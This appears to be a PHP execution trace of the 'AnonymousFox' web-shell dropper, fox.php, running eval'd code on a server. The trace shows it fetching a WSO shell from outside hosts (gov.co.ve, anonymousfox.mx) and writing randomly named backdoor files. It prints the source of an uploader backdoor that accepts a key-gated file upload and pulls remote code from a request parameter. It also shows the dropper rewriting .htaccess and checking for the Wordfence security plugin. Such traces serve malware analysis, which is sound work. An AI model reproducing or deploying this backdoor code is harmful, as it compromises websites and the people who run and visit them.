5	33	0	0.004082	599008	strstr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/uploads/fox.php'	'//'
5	33	1	0.004097	599080
5	33	R			FALSE
5	34	0	0.004110	599008	strstr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/uploads/fox.php'	'?'
5	34	1	0.004124	599080
5	34	R			FALSE
5	35	0	0.004137	599008	substr_count	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/uploads/fox.php'	'/'
5	35	1	0.004156	599080
5	35	R			2
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$xRoot = 2
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$root = ''
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$counter = 1
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$root .= '../'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$counter++
5	36	0	0.004226	599040	php_dany	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../'
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$htaccess_P = '../.htaccess'
6	37	0	0.004253	599080	read	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../.htaccess'
6		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$contents = ''
7	38	0	0.004278	599080	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_get_contents'
7	38	1	0.004293	599120
7	38	R			TRUE
7	39	0	0.004306	599080	file_get_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../.htaccess'
7	39	1	0.004338	599232
7	39	R			FALSE
6		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$contents = FALSE
6	37	1	0.004364	599192
6	37	R			FALSE
6	40	0	0.004377	599192	strtolower	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	FALSE
6	40	1	0.004393	599224
6	40	R			''
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$htaccess = ''
6	41	0	0.004432	599192	preg_match	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/deny from all/'	''
6	41	1	0.004475	599256
6	41	R			0
6	42	0	0.004489	599192	preg_match	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/order allow,deny/'	''
6	42	1	0.004518	599256
6	42	R			0
5	36	1	0.004537	599152
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$dirs = [0 => '../../plugins/wordfence', 1 => 'wp-content/plugins/wordfence', 2 => '..//wp-content/plugins/wordfence']
5	43	0	0.004565	599592	is_dir	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../../plugins/wordfence'
5	43	1	0.004583	599632
5	43	R			FALSE
5	44	0	0.004596	599592	is_dir	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'wp-content/plugins/wordfence'
5	44	1	0.004616	599632
5	44	R			FALSE
5	45	0	0.004629	599592	is_dir	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'..//wp-content/plugins/wordfence'
5	45	1	0.004647	599632
5	45	R			FALSE
5	46	0	0.004660	599632	chmod	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	420
5	46	1	0.004680	599704
5	46	R			FALSE
5	47	0	0.004694	599632	unlink	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../.user.ini'
5	47	1	0.004715	599672
5	47	R			FALSE
5	48	0	0.004728	599592	str_shuffle	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'123456789abcdefghijklmnopqrsyuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
5	48	1	0.004751	599720
5	48	R			'gEjcmawqYd5CzsyWBuKxGfOpA2oH9iRnbU4Vv3QNF8Tr7yhPI1DeXZJLSl6Mk'
5	49	0	0.004771	599688	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'gEjcmawqYd5CzsyWBuKxGfOpA2oH9iRnbU4Vv3QNF8Tr7yhPI1DeXZJLSl6Mk'	56
5	49	1	0.004789	599784
5	49	R			'Sl6Mk'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$r = 'Sl6Mk'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$uploader = '<?php error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET[\'FOx\'] == \'Sl6Mk\'){$saw1 = $_FILES[\'file\'][\'tmp_name\'];$saw2 = $_FILES[\'file\'][\'name\'];echo "<form method=\'POST\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'file\' /><input type=\'submit\' value=\'UPload\' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $p'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$indexWP = '<?php\ndefine( \'WP_USE_THEMES\', true );\nrequire __DIR__ . \'/wp-blog-header.php\';'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$htaccess = '<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>'
5	50	0	0.004889	600904	str_shuffle	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'123456789abcdefghijklmnopqrsyuvwxyz'
5	50	1	0.004906	601000
5	50	R			'vf56opwxm81z2gy7idrylbscek4h9ju3nqa'
5	51	0	0.004922	600968	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'vf56opwxm81z2gy7idrylbscek4h9ju3nqa'	30
5	51	1	0.004937	601064
5	51	R			'u3nqa'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$shellname = 'u3nqa.php'
5	52	0	0.004965	600944	str_shuffle	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'123456789abcdefghijklmnopqrsyuvwxyz'
5	52	1	0.004981	601040
5	52	R			'xfoydmcy3jlpr654qnv8eguik9azws1b7h2'
5	53	0	0.004997	601008	substr	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'xfoydmcy3jlpr654qnv8eguik9azws1b7h2'	30
5	53	1	0.005012	601104
5	53	R			'1b7h2'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$uploadername = '1b7h2.php'
5	54	0	0.005038	601024	is_dir	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../wp-admin'
5	54	1	0.005055	601064
5	54	R			FALSE
5	55	0	0.005068	601024	is_dir	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'../components'
5	55	1	0.005085	601064
5	55	R			FALSE
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$dir_sh = ''
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$dir_up = ''
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$s = 'u3nqa.php'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$u = '1b7h2.php'
5	56	0	0.005144	600984	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'curl_exec'
5	56	1	0.005159	601024
5	56	R			TRUE
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$files = [0 => 'https://gov.co.ve/_@files/php/FoxWSO-full.txt', 1 => 'https://anonymousfox.mx/_@files/php/FoxWSO-full.txt']
5	57	0	0.005190	601360	http_get_contents	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'https://gov.co.ve/_@files/php/FoxWSO-full.txt'
6	58	0	0.005206	601360	curl_init	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	0
6	58	1	0.005226	602272
6	58	R			resource(4) of type (curl)
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$ch = resource(4) of type (curl)
6	59	0	0.005263	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	10002	'https://gov.co.ve/_@files/php/FoxWSO-full.txt'
6	59	1	0.005282	602368
6	59	R			TRUE
6	60	0	0.005295	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	42	0
6	60	1	0.005310	602368
6	60	R			TRUE
6	61	0	0.005324	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	52	1
6	61	1	0.005339	602368
6	61	R			TRUE
6	62	0	0.005351	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	19913	1
6	62	1	0.005366	602368
6	62	R			TRUE
6	63	0	0.005378	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	64	0
6	63	1	0.005393	602368
6	63	R			TRUE
6	64	0	0.005405	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	81	0
6	64	1	0.005421	602368
6	64	R			TRUE
6	65	0	0.005433	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	78	15
6	65	1	0.005448	602368
6	65	R			TRUE
6	66	0	0.005460	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	13	15
6	66	1	0.005475	602368
6	66	R			TRUE
6	67	0	0.005488	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	96	TRUE
6	67	1	0.005503	602368
6	67	R			TRUE
6	68	0	0.005522	602272	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(4) of type (curl)	10018	'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0'
6	68	1	0.005541	602368
6	68	R			TRUE
6	69	0	0.005554	602272	curl_exec	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(4) of type (curl)
6	69	1	1.323134	618688
6	69	R			'<!DOCTYPE html>\n<html lang="en-us">\n<head>\n<meta charset="utf-8">\n<title>URL Shortener</title>\n<meta name="description" content="ShortURL is a URL shortener to reduce a long link. Use our tool to shorten links and then share them, in addition you can monitor traffic statistics.">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n<style type="text/css">\n@import url(https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap);body{margi'
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$urlPage = '<!DOCTYPE html>\n<html lang="en-us">\n<head>\n<meta charset="utf-8">\n<title>URL Shortener</title>\n<meta name="description" content="ShortURL is a URL shortener to reduce a long link. Use our tool to shorten links and then share them, in addition you can monitor traffic statistics.">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n<style type="text/css">\n@import url(https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap);body{margi'
6	70	0	1.323263	618656	curl_close	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(4) of type (curl)
6	70	1	1.323559	617800
6	70	R			NULL
5	57	1	1.323580	617744
5	57	R			'<!DOCTYPE html>\n<html lang="en-us">\n<head>\n<meta charset="utf-8">\n<title>URL Shortener</title>\n<meta name="description" content="ShortURL is a URL shortener to reduce a long link. Use our tool to shorten links and then share them, in addition you can monitor traffic statistics.">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n<style type="text/css">\n@import url(https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap);body{margi'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$FoxWSO = '<!DOCTYPE html>\n<html lang="en-us">\n<head>\n<meta charset="utf-8">\n<title>URL Shortener</title>\n<meta name="description" content="ShortURL is a URL shortener to reduce a long link. Use our tool to shorten links and then share them, in addition you can monitor traffic statistics.">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n<style type="text/css">\n@import url(https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap);body{margi'
5	71	0	1.323677	617744	preg_match	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/akhmhcij/'	'<!DOCTYPE html>\n<html lang="en-us">\n<head>\n<meta charset="utf-8">\n<title>URL Shortener</title>\n<meta name="description" content="ShortURL is a URL shortener to reduce a long link. Use our tool to shorten links and then share them, in addition you can monitor traffic statistics.">\n<meta name="viewport" content="width=device-width, initial-scale=1">\n<style type="text/css">\n@import url(https://fonts.googleapis.com/css?family=Asap:400,700|Lato:400,700,900|Source+Sans+Pro:400,700&display=swap);body{margi'
5	71	1	1.323767	617808
5	71	R			0
5	72	0	1.323785	617744	http_get_contents	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'https://anonymousfox.mx/_@files/php/FoxWSO-full.txt'
6	73	0	1.323802	617744	curl_init	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	0
6	73	1	1.323821	618656
6	73	R			resource(5) of type (curl)
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$ch = resource(5) of type (curl)
6	74	0	1.323848	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	10002	'https://anonymousfox.mx/_@files/php/FoxWSO-full.txt'
6	74	1	1.323867	618752
6	74	R			TRUE
6	75	0	1.323880	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	42	0
6	75	1	1.323896	618752
6	75	R			TRUE
6	76	0	1.323909	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	52	1
6	76	1	1.323924	618752
6	76	R			TRUE
6	77	0	1.323936	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	19913	1
6	77	1	1.323951	618752
6	77	R			TRUE
6	78	0	1.323963	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	64	0
6	78	1	1.323978	618752
6	78	R			TRUE
6	79	0	1.323991	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	81	0
6	79	1	1.324005	618752
6	79	R			TRUE
6	80	0	1.324024	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	78	15
6	80	1	1.324039	618752
6	80	R			TRUE
6	81	0	1.324051	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	13	15
6	81	1	1.324066	618752
6	81	R			TRUE
6	82	0	1.324078	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	96	TRUE
6	82	1	1.324094	618752
6	82	R			TRUE
6	83	0	1.324106	618656	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(5) of type (curl)	10018	'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0'
6	83	1	1.324125	618752
6	83	R			TRUE
6	84	0	1.324137	618656	curl_exec	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(5) of type (curl)
6	84	1	16.325326	618688
6	84	R			FALSE
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$urlPage = FALSE
6	85	0	16.325418	618656	curl_close	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(5) of type (curl)
6	85	1	16.325473	617800
6	85	R			NULL
5	72	1	16.325490	617744
5	72	R			FALSE
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$FoxWSO = FALSE
5	86	0	16.325533	601360	preg_match	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/akhmhcij/'	FALSE
5	86	1	16.325552	601424
5	86	R			0
5	87	0	16.325567	601360	trim	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	FALSE
5	87	1	16.325581	601392
5	87	R			''
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$FoxWSO = '<?php echo \'<script> location.href=\\\'/1b7h2.php?FOx=Sl6Mk\\\'; </script>\'; ?>'
5	88	0	16.325626	601512	save	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../u3nqa.php'	'<?php echo \'<script> location.href=\\\'/1b7h2.php?FOx=Sl6Mk\\\'; </script>\'; ?>'
6	89	0	16.325645	601512	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_put_contents'
6	89	1	16.325660	601552
6	89	R			TRUE
6	90	0	16.325673	601512	file_put_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../u3nqa.php'	'<?php echo \'<script> location.href=\\\'/1b7h2.php?FOx=Sl6Mk\\\'; </script>\'; ?>'
6	90	1	16.325742	601584
6	90	R			75
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$saV = 75
5	88	1	16.325769	601512
5	91	0	16.325776	601512	save	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../1b7h2.php'	'<?php error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET[\'FOx\'] == \'Sl6Mk\'){$saw1 = $_FILES[\'file\'][\'tmp_name\'];$saw2 = $_FILES[\'file\'][\'name\'];echo "<form method=\'POST\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'file\' /><input type=\'submit\' value=\'UPload\' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $p'
6	92	0	16.325807	601512	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_put_contents'
6	92	1	16.325821	601552
6	92	R			TRUE
6	93	0	16.325833	601512	file_put_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../1b7h2.php'	'<?php error_reporting(0); echo php_uname()."<br>".getcwd()."<br>"; if($_GET[\'FOx\'] == \'Sl6Mk\'){$saw1 = $_FILES[\'file\'][\'tmp_name\'];$saw2 = $_FILES[\'file\'][\'name\'];echo "<form method=\'POST\' enctype=\'multipart/form-data\'><input type=\'file\' name=\'file\' /><input type=\'submit\' value=\'UPload\' /></form>"; move_uploaded_file($saw1,$saw2); exit(0); } $code = "http://".$_GET["php"]; if (empty($code) or !stristr($code, "http")){ exit; } else { $php=file_get_contents($code); if (empty($php)){ $p'
6	93	1	16.325885	601584
6	93	R			1133
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$saV = 1133
5	91	1	16.325910	601512
5	94	0	16.325919	601512	chmod	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	420
5	94	1	16.325941	601584
5	94	R			FALSE
5	95	0	16.325955	601512	save	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'DirectoryIndex index.php , index.html , index.htm'
6	96	0	16.325972	601512	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_put_contents'
6	96	1	16.325985	601552
6	96	R			TRUE
6	97	0	16.326002	601512	file_put_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'DirectoryIndex index.php , index.html , index.htm'
6	97	1	16.326039	601584
6	97	R			49
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$saV = 49
5	95	1	16.326065	601512
5	98	0	16.326072	601512	chmod	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	420
5	98	1	16.326090	601584
5	98	R			TRUE
5	99	0	16.326103	601512	save	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'DirectoryIndex index.php , index.html , index.htm'
6	100	0	16.326119	601512	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_put_contents'
6	100	1	16.326133	601552
6	100	R			TRUE
6	101	0	16.326145	601512	file_put_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'DirectoryIndex index.php , index.html , index.htm'
6	101	1	16.326229	601584
6	101	R			49
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$saV = 49
5	99	1	16.326259	601512
5	102	0	16.326270	601512	save	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>'
6	103	0	16.326315	601512	function_exists	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'file_put_contents'
6	103	1	16.326334	601552
6	103	R			TRUE
6	104	0	16.326347	601512	file_put_contents	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'../.htaccess'	'<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>'
6	104	1	16.326483	601584
6	104	R			199
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$saV = 199
5	102	1	16.326517	601512
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$shell = 'localhost/u3nqa.php'
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$up = 'localhost/1b7h2.php?FOx=Sl6Mk'
5	105	0	16.326571	601632	httpsCurl	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'https://localhost/u3nqa.php'
6	106	0	16.326587	601632	curl_init	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	0
6	106	1	16.326612	602544
6	106	R			resource(11) of type (curl)
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$ch = resource(11) of type (curl)
6	107	0	16.326639	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	10002	'https://localhost/u3nqa.php'
6	107	1	16.326657	602640
6	107	R			TRUE
6	108	0	16.326669	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	52	1
6	108	1	16.326685	602640
6	108	R			TRUE
6	109	0	16.326697	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	19913	1
6	109	1	16.326712	602640
6	109	R			TRUE
6	110	0	16.326724	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	64	TRUE
6	110	1	16.326740	602640
6	110	R			TRUE
6	111	0	16.326752	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	81	2
6	111	1	16.326767	602640
6	111	R			TRUE
6	112	0	16.326780	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	10018	'python-requests/2.25.1'
6	112	1	16.326796	602640
6	112	R			TRUE
6	113	0	16.326809	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	78	5
6	113	1	16.326823	602640
6	113	R			TRUE
6	114	0	16.326836	602544	curl_setopt	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	3	resource(11) of type (curl)	13	5
6	114	1	16.326850	602640
6	114	R			TRUE
6	115	0	16.326862	602544	curl_exec	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(11) of type (curl)
6	115	1	16.326990	602576
6	115	R			FALSE
5		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$urlPage = FALSE
6	116	0	16.327020	602544	curl_close	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	resource(11) of type (curl)
6	116	1	16.327046	601688
6	116	R			NULL
5	105	1	16.327059	601632
5	105	R			FALSE
4		A						/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	$open_shell = FALSE
5	117	0	16.327086	601576	preg_match	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	2	'/FoxWSO/'	FALSE
5	117	1	16.327125	601640
5	117	R			0
5	118	0	16.327139	601632	http_get_contents	1		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	1	'http://localhost/u3nqa.php'
6	119	0	16.327170	601632	curl_init	0		/var/www/html/uploads/fox.php(7) : eval()'d code(1) : eval()'d code(16) : eval()'d code	13	0
6	119	1	16.327186	602544
